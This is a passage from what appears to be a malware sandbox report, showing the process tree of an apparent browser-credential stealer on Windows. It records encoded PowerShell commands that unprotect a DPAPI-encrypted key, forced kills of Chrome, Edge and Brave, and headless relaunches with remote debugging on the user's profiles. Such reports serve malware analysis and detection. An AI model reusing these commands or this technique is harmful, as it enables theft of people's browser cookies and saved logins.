AARABlAHEAcQAnACkAOwAgACQAZABlAGMASwBlAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoACQAZQBuAGMASwBlAHkALAAgACQAbgB1AGwAbAAsACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4ARABhAHQAYQBQAHIAbwB0AGUAYwB0AGkAbwBuAFMAYwBvAHAAZQBdADoAOgBDAHUAcgByAGUAbgB0AFUAcwBlAHIAKQA7ACAAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAZABlAGMASwBlAHkAKQA="
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                            PID:464
                                                                                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:4108
                                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAQgBoAFUATQBkACsAcQByAGsAawBxAEYATwBjAFgARABvADcAKwBHAFEAUgBBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBMADcAZQAzAEkAawA0AFUASwB0ADUARgA2AHEAOQBVADcALwBDAHMARQBTAEYAWABjAEQAWQBmAEkAWQBKAGMAMAB1AGQAMQBiAHQAcgBMAGcATgBsAEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAEEALwBIAHIAeQArAEIAcwBUAGYARgA5AEcAbQBtAEEAUQAxAHYAWgBDAEkAUABOAFgAYgA0AGEAVwBWAGQAYQBVAGMAYwBYAEgAegBYAFQARgBuAFIATQBBAEEAQQBBAEwASwBlAEUAQwBxADIAUQBLAHkAbQA3AEIAQgBvAFMARABWAEwATAA2AHIAUQA0AHIAYgA1AFIANABmAE0AOAArAG0AaAAxAHgAaQBwAEsAcgBoAHQARABEAFYAeABPAEMAZgByAFcAUABJAEEATQBCAHkAbgBKAHEAcgB1AHEAMABBAEEAQQBBAEIAVgBsAGwASgBkAEwAawB4AG8AQgBpAHcANAB2ADIAVQA5ADIAVABMAGQAZQA3AFoATwBGADEATwBkAE4AOQB5AGkAdAB4AEkAKwBuAHEAQwB6AEQARAA2ADgAZgA1AG4AVgBXAGoAbQA3AFAASQAyAEcAbABrAGUALwBHADQAYQBBADgAZAA4AHcAYQBjAGQAZABVADgAMgBpAFUAaABpADAARABlAHEAcQAnACkAOwAgACQAZABlAGMASwBlAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoACQAZQBuAGMASwBlAHkALAAgACQAbgB1AGwAbAAsACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4ARABhAHQAYQBQAHIAbwB0AGUAYwB0AGkAbwBuAFMAYwBvAHAAZQBdADoAOgBDAHUAcgByAGUAbgB0AFUAcwBlAHIAKQA7ACAAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAZABlAGMASwBlAHkAKQA=
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:1720
                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAQgBoAFUATQBkACsAcQByAGsAawBxAEYATwBjAFgARABvADcAKwBHAFEAUgBBAEEAQQBBAEEAZQBBAEEAQQBBAFQAUQBCAHAAQQBHAE0AQQBjAGcAQgB2AEEASABNAEEAYgB3AEIAbQBBAEgAUQBBAEkAQQBCAEYAQQBHAFEAQQBaAHcAQgBsAEEAQQBBAEEARQBHAFkAQQBBAEEAQQBCAEEAQQBBAGcAQQBBAEEAQQB4AFAAZgBQAFIAbQBvAGoATABhAHAAUQBIAEkAeQBlADMASwBpAGgAWgB4AFEAVABjAHYAcQBTACsASgBtAG0AdQAxAG4AWQBjAFAAaQBUACsAUAA0AEEAQQBBAEEAQQBEAG8AQQBBAEEAQQBBAEMAQQBBAEEAZwBBAEEAQQBBAEYAWgBCAHkAegA4AEQAVQBXAEoATABmAG4AdQBHAGwAMwBLAEkAUABXAEoARwA5AHoATgBsADgAMQBwAEEAagBlAGsAMQB0AEcASgB0ADQAVwBwAEEAdwBBAEEAQQBBAHIAcAB1AFcANABZADcAdABLAEkAUwBSAG4AOAAvAEkARgBsADcARgAvAE0ATQBMAHoAdQA0AGsAbgBLADIATwBmAE0AUAByADYAZwBLAEkAYwAzAGwAcwBUAGkAcwBiAE4AbABPAFEAdwBHAHIAaABwAC8AUwB0AC8ARQBEAGoAUQBBAEEAQQBBAEoAbgBmAHQAWQBmAHMAYwBTAGUARwBzAC8ATABTAEwANABZAEsAYwBQAHAASgBUAEUAbwBhAEMARwBHAGQASABFAHkAcQAxADYARQAvAEMATgBVAFMAbQBXAGkATgBJAEQAZwBZAG4AeABrAG8AVABwAFMASwBTAGIAZQBOAHIAVwByAEsAcABoAEwAeAB4ADUANwBlAE4AcABDAGgAagBIAFIAawAyAEsAWQA9ACcAKQA7ACAAJABkAGUAYwBLAGUAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwBLAGUAeQAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwBLAGUAeQApAA=="
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:4740
                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAQgBoAFUATQBkACsAcQByAGsAawBxAEYATwBjAFgARABvADcAKwBHAFEAUgBBAEEAQQBBAEEAZQBBAEEAQQBBAFQAUQBCAHAAQQBHAE0AQQBjAGcAQgB2AEEASABNAEEAYgB3AEIAbQBBAEgAUQBBAEkAQQBCAEYAQQBHAFEAQQBaAHcAQgBsAEEAQQBBAEEARQBHAFkAQQBBAEEAQQBCAEEAQQBBAGcAQQBBAEEAQQB4AFAAZgBQAFIAbQBvAGoATABhAHAAUQBIAEkAeQBlADMASwBpAGgAWgB4AFEAVABjAHYAcQBTACsASgBtAG0AdQAxAG4AWQBjAFAAaQBUACsAUAA0AEEAQQBBAEEAQQBEAG8AQQBBAEEAQQBBAEMAQQBBAEEAZwBBAEEAQQBBAEYAWgBCAHkAegA4AEQAVQBXAEoATABmAG4AdQBHAGwAMwBLAEkAUABXAEoARwA5AHoATgBsADgAMQBwAEEAagBlAGsAMQB0AEcASgB0ADQAVwBwAEEAdwBBAEEAQQBBAHIAcAB1AFcANABZADcAdABLAEkAUwBSAG4AOAAvAEkARgBsADcARgAvAE0ATQBMAHoAdQA0AGsAbgBLADIATwBmAE0AUAByADYAZwBLAEkAYwAzAGwAcwBUAGkAcwBiAE4AbABPAFEAdwBHAHIAaABwAC8AUwB0AC8ARQBEAGoAUQBBAEEAQQBBAEoAbgBmAHQAWQBmAHMAYwBTAGUARwBzAC8ATABTAEwANABZAEsAYwBQAHAASgBUAEUAbwBhAEMARwBHAGQASABFAHkAcQAxADYARQAvAEMATgBVAFMAbQBXAGkATgBJAEQAZwBZAG4AeABrAG8AVABwAFMASwBTAGIAZQBOAHIAVwByAEsAcABoAEwAeAB4ADUANwBlAE4AcABDAGgAagBIAFIAawAyAEsAWQA9ACcAKQA7ACAAJABkAGUAYwBLAGUAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwBLAGUAeQAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwBLAGUAeQApAA==
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                      PID:3824
                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe 2>nul"
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                                                                    PID:240
                                                                                                                                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                      taskkill /F /IM chrome.exe
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                                                                      PID:2276
                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe 2>nul"
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                                                                    PID:2784
                                                                                                                                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                      taskkill /F /IM msedge.exe
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                                                                      PID:6460
                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe 2>nul"
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                                                                    PID:1992
                                                                                                                                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                      taskkill /F /IM brave.exe
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                                                                      PID:7152
                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9684 "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --profile-directory=Default --headless=new --no-first-run --disable-sync --no-default-browser-check --disable-extensions --disable-background-networking --disable-default-apps --no-sandbox --disable-gpu
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                    • Uses browser remote debugging
                                                                                                                                                                                                                    PID:5480
                                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ffcaecbc728,0x7ffcaecbc734,0x7ffcaecbc740
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:6532
                                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=2228,i,2155234120581758626,13975774094792994920,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2224 /prefetch:2
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                          PID:6260
                                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --field-trial-handle=2228,i,2155234120581758626,13975774094792994920,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2424 /prefetch:11
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                          • System Time Discovery
                                                                                                                                                                                                                          PID:5664
                                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --field-trial-handle=2228,i,2155234120581758626,13975774094792994920,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2460 /prefetch:13
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                            PID:6828
                                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9684 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2228,i,2155234120581758626,13975774094792994920,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2932 /prefetch:1
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                            • Uses browser remote debugging
                                                                                                                                                                                                                            PID:3528
                                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9684 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=2228,i,2155234120581758626,13975774094792994920,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2944 /prefetch:1
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                            • Uses browser remote debugging
                                                                                                                                                                                                                            PID:7088
                                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9684 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=2228,i,2155234120581758626,13975774094792994920,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4116 /prefetch:1
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                            • Uses browser remote debugging
                                                                                                                                                                                                                            PID:4448
                                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=2228,i,2155234120581758626,13975774094792994920,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4684 /prefetch:14
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                              PID:3964
                                                                                                                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9299 "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --profile-directory=Default --headless=new --no-first-run --disable-sync --no-default-browser-check --disable-extensions --disable-background-networking --disable-default-apps --no-sandbox --disable-gpu
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                            • Uses browser remote debugging
                                                                                                                                                                                                                            PID:7100
                                                                                                                                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x254,0x258,0x25c,0x21c,0x2c0,0x7ffca73dc188,0x7ffca73dc194,0x7ffca73dc1a0
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                PID:3256
                                                                                                                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=2580,i,17110642413677152482,15583301051537192588,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2576 /prefetch:2
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                  PID:3260
                                                                                                                                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2580,i,17110642413677152482,15583301051537192588,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3008 /prefetch:11
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                  • System Time Discovery
                                                                                                                                                                                                                                  PID:6152
                                                                                                                                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2580,i,17110642413677152482,15583301051537192588,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3004 /prefetch:13
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                    PID:1244
                                                                                                                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9299 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2580,i,17110642413677152482,15583301051537192588,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3256 /prefetch:1
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                    • Uses browser remote debugging
                                                                                                                                                                                                                                    PID:5968
                                                                                                                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9299 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2580,i,17110642413677152482,15583301051537192588,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3280 /prefetch:1
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                    • Uses browser remote debugging
                                                                                                                                                                                                                                    PID:6604
                                                                                                                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2580,i,17110642413677152482,15583301051537192588,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4788 /prefetch:14
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                      PID:7152
                                                                                                                                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --no-sandbox --onnx-enabled-for-ee --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2580,i,17110642413677152482,15583301051537192588,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4796 /prefetch:14
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                        PID:4664
                                                                                                                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                                                                                                                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2580,i,17110642413677152482,15583301051537192588,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5196 /prefetch:14
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                          PID:5416
                                                                                                                                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
